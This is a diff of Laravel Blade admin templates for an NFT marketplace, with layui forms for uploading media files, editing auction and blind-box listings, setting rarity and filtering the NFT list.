|
||||
var show = "";
|
||||
var demoListView = $('#demoList'), //上传表格的详情
|
||||
uploadListIns = upload.render({ //渲染
|
||||
elem: '#cfile', //绑定选择文件按钮
|
||||
url: '{{url('api/uploadNFT')}}',
|
||||
accept: 'file', //允许上传文件类型
|
||||
multiple: false, //是否允许多文件上传开关
|
||||
auto: false, //是否自动上传,true就是选择完文件之后自动上传
|
||||
bindAction: '#uploadBegin', //绑定开始上传按钮,如果自动上传则不需要这个按钮
|
||||
choose: function(obj) {
|
||||
var files = this.files = obj.pushFile(); //将每次选择的文件追加到文件队列
|
||||
//读取本地文件
|
||||
obj.preview(function(index, file, result) {
|
||||
var tr = $(['<tr id="upload-' + index + '">', '<td id="filename">' + file
|
||||
.name + '</td>', '<td>' + (file.size / 1014).toFixed(1) +
|
||||
'kb</td>', '<td>等待上传</td>', '<td>',
|
||||
'<button class="layui-btn layui-btn-xs layui-btn-danger demo-delete">删除</button>',
|
||||
'</td>', '</tr>'
|
||||
].join(''));
|
||||
|
||||
//删除
|
||||
tr.find('.demo-delete').on('click', function() {
|
||||
delete files[index]; //删除对应的文件
|
||||
tr.remove();
|
||||
uploadListIns.config.elem.next()[0].value =
|
||||
''; //清空 input file 值,以免删除后出现同名文件不可选
|
||||
});
|
||||
demoListView.append(tr);
|
||||
var filenum = $("tr").length;
|
||||
if(filenum >= 2){
|
||||
$("tr").first().remove()
|
||||
}
|
||||
});
|
||||
},
|
||||
before: function() { //这里暂时规定一次只能上传一个文件
|
||||
var filenum = $("tr").length;
|
||||
var file = $("#filename").text();
|
||||
var ext = file.slice(file.lastIndexOf(".") + 1).toLowerCase();
|
||||
if (filenum > 2) {
|
||||
layer.msg("一次只能上传一个文件");
|
||||
return false;
|
||||
}
|
||||
if (file == null || file == "") {
|
||||
layer.msg("请选择文件");
|
||||
return false;
|
||||
}
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
},
|
||||
done: function(res, index, upload) {
|
||||
var loading = parent.layer.load(1, {
|
||||
shade: 0.2,
|
||||
time: 500
|
||||
});
|
||||
if (res.type == 'ok') { //上传成功
|
||||
let imageUpload = res.message;
|
||||
// console.log(1111111,imageUpload)
|
||||
|
||||
var reg = /\.(png|PNG|jpg|JPG|gif|GIF|jpeg|JPEG|webp|WEBP)$/;
|
||||
var isImgVideo = reg.test(imageUpload);
|
||||
if(isImgVideo){
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_video").hide();
|
||||
$("#imageupload_img").show();
|
||||
$("#imageupload_img").attr("src",res.message)
|
||||
}else{
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_img").hide();
|
||||
$("#imageupload_video").show();
|
||||
$("#imageupload_video").attr("src",res.message)
|
||||
}
|
||||
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #5FB878;">上传成功</span>');
|
||||
tds.eq(3).html(''); //清空操作
|
||||
return delete this.files[index]; //删除文件队列已经上传成功的文件
|
||||
}
|
||||
this.error(index, upload, res);
|
||||
layer.close(loading);
|
||||
},
|
||||
error: function(index, upload, res) {
|
||||
layer.msg(res.message);
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #FF5722;">上传失败:' + res.msg + '</span>');
|
||||
tds.eq(3).find('.demo-reload').removeClass('layui-hide'); //显示重传
|
||||
}
|
||||
});
|
||||
//这里在点击上传是添加了一个文件类型的判断
|
||||
// $(window).one("resize",function(){
|
||||
// $(".import").click(function(){//上传按钮
|
||||
// var file=document.getElementById("teacherFile").value;
|
||||
// var ext = file.slice(file.lastIndexOf(".")+1).toLowerCase();
|
||||
// if(file==null || file ==""){
|
||||
// layer.msg("请选择文件");
|
||||
// }
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
// else {
|
||||
// layer.msg("选择文件规范");
|
||||
// }
|
||||
// })
|
||||
|
||||
// }).resize();
|
||||
})
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,341 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">哈希值</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="code" autocomplete="off" style="color:#d2d2d2;" placeholder="" class="layui-input" value="{{$results->code}}" lay-verify="required" disabled="disabled">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">交易币种</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="price" autocomplete="off" style="color:#d2d2d2;" placeholder="" class="layui-input" value="{{$results->currency_name}}" lay-verify="required" disabled="disabled">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">名称</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="name" autocomplete="off" placeholder="" class="layui-input" value="">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">交易类型</label>
|
||||
<div class="layui-input-block" >
|
||||
<select lay-filter="select_type" id="select_type" lay-verify="required" disabled="disabled">
|
||||
<option value="1" class='layui-option' {{ ($results->pay_type) == 1 ? 'selected' : '' }} >一口价</option>
|
||||
<option value="2" class='layui-option' {{ ($results->pay_type) == 2 ? 'selected' : '' }} >竞拍</option>
|
||||
<option value="3" class='layui-option' {{ ($results->pay_type) == 3 ? 'selected' : '' }} >盲盒</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">价格</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="price" autocomplete="off" placeholder="" class="layui-input" value="{{$results->price}}" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item" id="auction" lay-filter="auction">
|
||||
<label class="layui-form-label">竞拍每次加价</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="per_increase" autocomplete="off" placeholder="" class="layui-input" value="{{$results->per_increase}}" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item" id="auction" lay-filter="auction">-->
|
||||
<!-- <label class="layui-form-label">保证金</label>-->
|
||||
<!-- <div class="layui-input-block">-->
|
||||
<!-- <input type="text" name="margin" autocomplete="off" placeholder="" class="layui-input" value="{{$results->margin}}" lay-verify="required">-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">稀有度</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='rarity'>
|
||||
<option value="N" {{ ($results->rarity) == 'N' ? 'selected' : '' }} >N</option>
|
||||
<option value="R" {{ ($results->rarity) == 'R' ? 'selected' : '' }} >R</option>
|
||||
<option value="SR" {{ ($results->rarity) == 'SR' ? 'selected' : '' }} >SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <div class="layui-input-block" style="min-height:0">-->
|
||||
<!-- <span class="" style="padding:5px 10px;background-color:#ffb800;border-radius:3px;color:#FFF">请严格按照时间格式编辑!</span>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<!-- <div class="layui-form-item">-->
|
||||
<!-- <label class="layui-form-label">文件上传</label>-->
|
||||
<!-- <div class="layui-upload" style="border:1px solid #e6e6e6;border-radius:4px;padding:10px 0;margin-top:10px;margin-left:120px;"> -->
|
||||
<!-- <button type="button" class="layui-btn layui-btn-normal" id="cfile" style="margin-left:30px">选择文件</button> -->
|
||||
<!-- <br/><img src="@if(!empty($results->image)){{$results->image}}@endif" id="imageupload_img" class="imageupload" style="display: @if(!empty($results->image)){{"block"}}@else{{"none"}}@endif;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;">-->
|
||||
<!-- <div class="layui-upload-list">-->
|
||||
<!-- <table class="layui-table">-->
|
||||
<!-- <thead>-->
|
||||
<!-- <tr>-->
|
||||
<!-- <th>文件名</th>-->
|
||||
<!-- <th>大小</th>-->
|
||||
<!-- <th>状态</th>-->
|
||||
<!-- <th>操作</th>-->
|
||||
<!-- </tr> -->
|
||||
<!-- </thead>-->
|
||||
<!-- <input name="image" type="hidden" class="imageupload" value="{{$results->image}}" lay-verify="required">-->
|
||||
<!-- <tbody id="demoList"></tbody> -->
|
||||
<!-- </table>-->
|
||||
<!-- </div>-->
|
||||
<!-- <button type="button" class="layui-btn" id="uploadBegin" style="margin-left:30px">开始上传</button>-->
|
||||
<!--<a type="button" class="layui-btn layui-btn-danger" href="../../teacher/download" style="margin-left:30px">模板下载</a>-->
|
||||
<!--<div class="layui-upload-list" style="height:25px;"></div>-->
|
||||
<!-- </div> -->
|
||||
<!--</div>-->
|
||||
<div class="test-table-reload-btn" style="margin-bottom: 10px;">
|
||||
<label class="layui-form-label">开始时间:</label>
|
||||
<div class="layui-inline">
|
||||
<input class="layui-input test-laydate-item" name="start_time" value="{{$results->start_time}}" id="start_time" autocomplete="off">
|
||||
</div>
|
||||
<div class="layui-inline" style="width: 80px;text-align: right">结束时间:</div>
|
||||
<div class="layui-inline">
|
||||
<input class="layui-input test-laydate-item" name="end_time" value="{{$results->end_time}}" id="end_time" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="bindBoxsubmit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
// 若选择拍卖显示加价
|
||||
var select_val = $('#select_type').val()
|
||||
if(select_val == '1'){
|
||||
$("#auction").hide();
|
||||
}if(select_val == '2'){
|
||||
$("#auction").show();
|
||||
}if(select_val == '3'){
|
||||
$("#auction").hide();
|
||||
}
|
||||
|
||||
// layui.use(['layer', 'jquery', 'form'], function () {
|
||||
// var layer = layui.layer,
|
||||
// $ = layui.jquery,
|
||||
// form = layui.form;
|
||||
|
||||
// form.on('select(select_type)', function(data){
|
||||
// if(data.value == '1'){
|
||||
// $("#auction").hide();
|
||||
// form.render('select');
|
||||
// }if(data.value == '2'){
|
||||
// $("#auction").show();
|
||||
// form.render('select');
|
||||
// }if(data.value == '3'){
|
||||
// $("#auction").hide();
|
||||
// form.render('select');
|
||||
// }
|
||||
// });
|
||||
|
||||
|
||||
// });
|
||||
|
||||
layui.use(['element', 'form', 'upload', 'layer', 'laydate'], function () {
|
||||
var element = layui.element
|
||||
,layer = layui.layer
|
||||
,form = layui.form
|
||||
,laydate = layui.laydate
|
||||
,$ = layui.$;
|
||||
|
||||
//同时绑定多个
|
||||
lay('.test-laydate-item').each(function(){
|
||||
laydate.render({
|
||||
elem: this
|
||||
,trigger: 'click'
|
||||
,type: 'datetime'
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
layui.use(['form','laydate'],function() {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
form.render();
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindBoxsubmit)', function(data){
|
||||
var data = data.field;
|
||||
delete data.file;
|
||||
// data.start_time=data.start_time.replace("T"," ")
|
||||
// data.end_time=data.end_time.replace("T"," ")
|
||||
$.ajax({
|
||||
url:'{{url('admin/bind_box/editNFT')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}if(res.type=='error'){
|
||||
layer.msg('操作失败'+res.message);
|
||||
}else{
|
||||
layer.msg('操作失败'+res.message);
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
// layui.use('upload', function(){
|
||||
// var upload = layui.upload;
|
||||
|
||||
// //执行实例
|
||||
// var uploadInst = upload.render({
|
||||
// elem: '#upload_bindbox' //绑定元素
|
||||
// ,url: '{{URL("api/uploadNFT")}}?scene=admin' //上传接口
|
||||
// ,done: function(res){
|
||||
// //上传完毕回调
|
||||
// if (res.type == "ok"){
|
||||
// $("#bindbox_upload").val(res.message)
|
||||
// $("#upload_bindbox_upload").show()
|
||||
// $("#upload_bindbox_upload").attr("src",res.message)
|
||||
// } else{
|
||||
// alert(res.message)
|
||||
// }
|
||||
// }
|
||||
// ,error: function(){
|
||||
// //请求异常回调
|
||||
// }
|
||||
// });
|
||||
// });
|
||||
|
||||
// var imageUpload = $('.imageupload').val()
|
||||
// layui.use('upload', function() {
|
||||
// var $ = layui.jquery,
|
||||
// upload = layui.upload; //声明上传组件
|
||||
|
||||
// //文件列表示例
|
||||
// var num = "";
|
||||
// var show = "";
|
||||
// var demoListView = $('#demoList'), //上传表格的详情
|
||||
// uploadListIns = upload.render({ //渲染
|
||||
// elem: '#cfile', //绑定选择文件按钮
|
||||
// url: '{{url('api/uploadNFT')}}',
|
||||
// accept: 'file', //允许上传文件类型
|
||||
// multiple: false, //是否允许多文件上传开关
|
||||
// auto: false, //是否自动上传,true就是选择完文件之后自动上传
|
||||
// bindAction: '#uploadBegin', //绑定开始上传按钮,如果自动上传则不需要这个按钮
|
||||
// choose: function(obj) {
|
||||
// var files = this.files = obj.pushFile(); //将每次选择的文件追加到文件队列
|
||||
// //读取本地文件
|
||||
// obj.preview(function(index, file, result) {
|
||||
// var tr = $(['<tr id="upload-' + index + '">', '<td id="filename">' + file
|
||||
// .name + '</td>', '<td>' + (file.size / 1014).toFixed(1) +
|
||||
// 'kb</td>', '<td>等待上传</td>', '<td>',
|
||||
// '<button class="layui-btn layui-btn-xs layui-btn-danger demo-delete">删除</button>',
|
||||
// '</td>', '</tr>'
|
||||
// ].join(''));
|
||||
|
||||
// //删除
|
||||
// tr.find('.demo-delete').on('click', function() {
|
||||
// delete files[index]; //删除对应的文件
|
||||
// tr.remove();
|
||||
// uploadListIns.config.elem.next()[0].value =
|
||||
// ''; //清空 input file 值,以免删除后出现同名文件不可选
|
||||
// });
|
||||
// demoListView.append(tr);
|
||||
// });
|
||||
// },
|
||||
// before: function() { //这里暂时规定一次只能上传一个文件
|
||||
// var filenum = $("tr").length;
|
||||
// var file = $("#filename").text();
|
||||
// var ext = file.slice(file.lastIndexOf(".") + 1).toLowerCase();
|
||||
// if (filenum > 2) {
|
||||
// layer.msg("一次只能上传一个文件");
|
||||
// return false;
|
||||
// }
|
||||
// if (file == null || file == "") {
|
||||
// layer.msg("请选择文件");
|
||||
// return false;
|
||||
// }
|
||||
// // else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// // console.log(1211221)
|
||||
// // layer.msg("所选择文件不规范");
|
||||
// // return false;
|
||||
// // }
|
||||
// },
|
||||
// done: function(res, index, upload) {
|
||||
// show = layer.msg('上传中,请稍候', {
|
||||
// icon: 16,
|
||||
// time: true,
|
||||
// shade: 0.8
|
||||
// });
|
||||
// if (res.type == 'ok') { //上传成功
|
||||
// let imageUpload = res.message;
|
||||
// $('.imageupload').val(imageUpload)
|
||||
// $("#imageupload_img").show()
|
||||
// $("#imageupload_img").attr("src",res.message)
|
||||
// var tr = demoListView.find('tr#upload-' + index),
|
||||
// tds = tr.children();
|
||||
// tds.eq(2).html('<span style="color: #5FB878;">上传成功</span>');
|
||||
// tds.eq(3).html(''); //清空操作
|
||||
// return delete this.files[index]; //删除文件队列已经上传成功的文件
|
||||
// }
|
||||
// this.error(index, upload, res);
|
||||
// layer.close(show);
|
||||
// },
|
||||
// error: function(index, upload, res) {
|
||||
// layer.msg(res.message);
|
||||
// var tr = demoListView.find('tr#upload-' + index),
|
||||
// tds = tr.children();
|
||||
// tds.eq(2).html('<span style="color: #FF5722;">上传失败:' + res.msg + '</span>');
|
||||
// tds.eq(3).find('.demo-reload').removeClass('layui-hide'); //显示重传
|
||||
// }
|
||||
// });
|
||||
// //这里在点击上传是添加了一个文件类型的判断
|
||||
// // $(window).one("resize",function(){
|
||||
// // $(".import").click(function(){//上传按钮
|
||||
// // var file=document.getElementById("teacherFile").value;
|
||||
// // var ext = file.slice(file.lastIndexOf(".")+1).toLowerCase();
|
||||
// // if(file==null || file ==""){
|
||||
// // layer.msg("请选择文件");
|
||||
// // }
|
||||
// // else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// // console.log(1211221)
|
||||
// // layer.msg("所选择文件不规范");
|
||||
// // return false;
|
||||
// // }
|
||||
// // else {
|
||||
// // layer.msg("选择文件规范");
|
||||
// // }
|
||||
// // })
|
||||
|
||||
// // }).resize();
|
||||
// })
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,264 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style>
|
||||
.layui-form-label {
|
||||
width:90px;
|
||||
}
|
||||
.layui-input-block {
|
||||
margin-left: 120px;
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" autocomplete="off" placeholder="" class="layui-input" value="{{$results->name}}" lay-verify="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">稀有度</label>
|
||||
<div class="layui-input-block">
|
||||
<select name='rarity'>
|
||||
<option value="N" {{ ($results->rarity) == 'N' ? 'selected' : '' }} >N</option>
|
||||
<option value="R" {{ ($results->rarity) == 'R' ? 'selected' : '' }} >R</option>
|
||||
<option value="SR" {{ ($results->rarity) == 'SR' ? 'selected' : '' }} >SR</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<!--<div class="layui-form-item">-->
|
||||
<!-- <div class="layui-input-block" style="min-height:0">-->
|
||||
<!-- <span class="" style="padding:5px 10px;background-color:#ffb800;border-radius:3px;color:#FFF">文件若无修改请勿上传!</span>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">文件上传</label>
|
||||
<div class="layui-upload" style="border:1px solid #e6e6e6;border-radius:4px;padding:10px 0;margin-top:10px;margin-left:120px;">
|
||||
<button type="button" class="layui-btn layui-btn-normal" id="cfile" style="margin-left:30px">选择文件</button> <br/>
|
||||
<div><img src="@if(!empty($results->file)){{$results->file}}@endif" id="imageupload_img" style="cursor:pointer;display: @if(!empty($results->file)){{"block"}}@else{{"none"}}@endif;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigImage(this)" /></div>
|
||||
<div><video src="@if(!empty($results->file)){{$results->file}}@endif" id="imageupload_video" style="cursor:pointer;display: none;max-width: 200px;height: auto;margin-top: 10px;margin-left:30px;" onclick="showBigVideo(this)" /></div>
|
||||
<div class="layui-upload-list">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>文件名</th>
|
||||
<th>大小</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<input name="file" type="hidden" id="imageupload_val" value="{{$results->file}}" lay-verify="required">
|
||||
<tbody id="demoList"></tbody>
|
||||
</table>
|
||||
</div>
|
||||
<button type="button" class="layui-btn" id="uploadBegin" style="margin-left:30px">开始上传</button>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="bindBoxsubmit" lay-filter="bindBoxsubmit">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['form','laydate'],function() {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
form.render();
|
||||
|
||||
//监听提交
|
||||
form.on('submit(bindBoxsubmit)', function(data){
|
||||
var data = data.field;
|
||||
// delete data.file;
|
||||
// data.start_time=data.start_time.replace("T"," ")
|
||||
// data.end_time=data.end_time.replace("T"," ")
|
||||
$.ajax({
|
||||
url:'{{url('admin/bind_box/edit_rarity_house')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='ok'){
|
||||
layer.msg('操作成功!');
|
||||
}if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
layer.msg(res.message);
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
|
||||
function showBigImage(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: false,
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
area: [$(e).width + 'px', $(e).height + 'px'], //宽高
|
||||
content: "<img style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
function showBigVideo(e) {
|
||||
parent.layer.open({
|
||||
type: 1,
|
||||
title: '视频预览',
|
||||
closeBtn: 0,
|
||||
shadeClose: true,
|
||||
offset: 'auto',
|
||||
area: 'auto',
|
||||
content: "<video controls='controls' style='padding:12px;max-width:1400px;max-height:780px' src=" + $(e).attr('src') + " />"
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
|
||||
var imageUpload = $('#imageupload_val').val()
|
||||
layui.use('upload', function() {
|
||||
var $ = layui.jquery,
|
||||
upload = layui.upload; //声明上传组件
|
||||
|
||||
var reg = /\.(png|PNG|jpg|JPG|gif|GIF|jpeg|JPEG|webp|WEBP)$/;
|
||||
var isImgVideo = reg.test(imageUpload);
|
||||
console.log(213231213231,isImgVideo)
|
||||
if(isImgVideo){
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_video").hide();
|
||||
$("#imageupload_img").show();
|
||||
}else{
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_img").hide();
|
||||
$("#imageupload_video").show();
|
||||
}
|
||||
|
||||
//文件列表示例
|
||||
var num = "";
|
||||
var show = "";
|
||||
var demoListView = $('#demoList'), //上传表格的详情
|
||||
uploadListIns = upload.render({ //渲染
|
||||
elem: '#cfile', //绑定选择文件按钮
|
||||
url: '{{url('api/uploadNFT')}}',
|
||||
accept: 'file', //允许上传文件类型
|
||||
multiple: false, //是否允许多文件上传开关
|
||||
auto: false, //是否自动上传,true就是选择完文件之后自动上传
|
||||
bindAction: '#uploadBegin', //绑定开始上传按钮,如果自动上传则不需要这个按钮
|
||||
choose: function(obj) {
|
||||
var files = this.files = obj.pushFile(); //将每次选择的文件追加到文件队列
|
||||
//读取本地文件
|
||||
obj.preview(function(index, file, result) {
|
||||
var tr = $(['<tr id="upload-' + index + '">', '<td id="filename">' + file
|
||||
.name + '</td>', '<td>' + (file.size / 1014).toFixed(1) +
|
||||
'kb</td>', '<td>等待上传</td>', '<td>',
|
||||
'<button class="layui-btn layui-btn-xs layui-btn-danger demo-delete">删除</button>',
|
||||
'</td>', '</tr>'
|
||||
].join(''));
|
||||
|
||||
//删除
|
||||
tr.find('.demo-delete').on('click', function() {
|
||||
delete files[index]; //删除对应的文件
|
||||
tr.remove();
|
||||
uploadListIns.config.elem.next()[0].value =
|
||||
''; //清空 input file 值,以免删除后出现同名文件不可选
|
||||
});
|
||||
demoListView.append(tr);
|
||||
});
|
||||
},
|
||||
before: function() { //这里暂时规定一次只能上传一个文件
|
||||
var filenum = $("tr").length;
|
||||
var file = $("#filename").text();
|
||||
var ext = file.slice(file.lastIndexOf(".") + 1).toLowerCase();
|
||||
if (filenum > 2) {
|
||||
layer.msg("一次只能上传一个文件");
|
||||
return false;
|
||||
}
|
||||
if (file == null || file == "") {
|
||||
layer.msg("请选择文件");
|
||||
return false;
|
||||
}
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
|
||||
},
|
||||
done: function(res, index, upload) {
|
||||
var loading = parent.layer.load(1, {
|
||||
shade: 0.2,
|
||||
time: 500
|
||||
});
|
||||
if (res.type == 'ok') { //上传成功
|
||||
let imageUpload = res.message;
|
||||
// console.log(1111111,imageUpload)
|
||||
|
||||
if(isImgVideo){
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_video").hide();
|
||||
$("#imageupload_img").show();
|
||||
$("#imageupload_img").attr("src",res.message)
|
||||
}else{
|
||||
$('#imageupload_val').val(imageUpload)
|
||||
$("#imageupload_img").hide();
|
||||
$("#imageupload_video").show();
|
||||
$("#imageupload_video").attr("src",res.message)
|
||||
}
|
||||
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #5FB878;">上传成功</span>');
|
||||
tds.eq(3).html(''); //清空操作
|
||||
return delete this.files[index]; //删除文件队列已经上传成功的文件
|
||||
}
|
||||
this.error(index, upload, res);
|
||||
layer.close(loading);
|
||||
},
|
||||
error: function(index, upload, res) {
|
||||
layer.msg(res.message);
|
||||
var tr = demoListView.find('tr#upload-' + index),
|
||||
tds = tr.children();
|
||||
tds.eq(2).html('<span style="color: #FF5722;">上传失败:' + res.msg + '</span>');
|
||||
tds.eq(3).find('.demo-reload').removeClass('layui-hide'); //显示重传
|
||||
}
|
||||
});
|
||||
//这里在点击上传是添加了一个文件类型的判断
|
||||
// $(window).one("resize",function(){
|
||||
// $(".import").click(function(){//上传按钮
|
||||
// var file=document.getElementById("teacherFile").value;
|
||||
// var ext = file.slice(file.lastIndexOf(".")+1).toLowerCase();
|
||||
// if(file==null || file ==""){
|
||||
// layer.msg("请选择文件");
|
||||
// }
|
||||
// else if (("xls" != ext)&&("xlsx" != ext) ) {
|
||||
// console.log(1211221)
|
||||
// layer.msg("所选择文件不规范");
|
||||
// return false;
|
||||
// }
|
||||
// else {
|
||||
// layer.msg("选择文件规范");
|
||||
// }
|
||||
// })
|
||||
|
||||
// }).resize();
|
||||
})
|
||||
|
||||
|
||||
|
||||
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,332 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
<style type="text/css">
|
||||
.layui-table-cell{
|
||||
height: auto;
|
||||
white-space: normal;
|
||||
/*overflow:visible;*/
|
||||
/* text-overflow:inherit;*/
|
||||
}
|
||||
.layui-table img{
|
||||
/*max-width:100px*/
|
||||
}
|
||||
</style>
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加NFT','{{url('admin/bind_box/add')}}')">添加NFT</button>
|
||||
<button class="layui-btn layui-btn-danger layui-btn-radius " lay-event="datadel" id="datadel"><i class="layui-icon layui-icon-delete" style="font-size:20px;"></i> 批量删除</button>
|
||||
<div class="layui-form" style="margin-top:10px;">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">哈希值</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="code" type="text" value="" placeholder="请输入哈希值">
|
||||
</div>
|
||||
</div>
|
||||
<!--@if(!empty($currency))-->
|
||||
<!--<div class="layui-inline">-->
|
||||
<!-- <label class="layui-form-label"><span class="reddot">*</span>交易币种</label>-->
|
||||
<!-- <div class="layui-input-inline">-->
|
||||
<!-- <select name='currency'>-->
|
||||
<!-- @foreach($currency as $key => $value)-->
|
||||
<!-- <option class='layui-option' value="{{$value['id']}}" >{{$value['name']}}</option>-->
|
||||
<!-- @endforeach-->
|
||||
<!-- </select>-->
|
||||
<!-- </div>-->
|
||||
<!--</div>-->
|
||||
<!--@endif-->
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">交易类型</label>
|
||||
<div class="layui-input-inline" style="width:90px;">
|
||||
<select name="pay_type">
|
||||
<option value="">全部</option>
|
||||
<option value="1">一口价</option>
|
||||
<option value="2">竞拍</option>
|
||||
<option value="3">盲盒</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="name" type="text" value="" placeholder="请输入名称">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">作者ID</label>
|
||||
<div class="layui-input-inline" style="width: 200px">
|
||||
<input class="layui-input" name="author" type="text" value="" placeholder="请输入作者ID">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">稀有度</label>
|
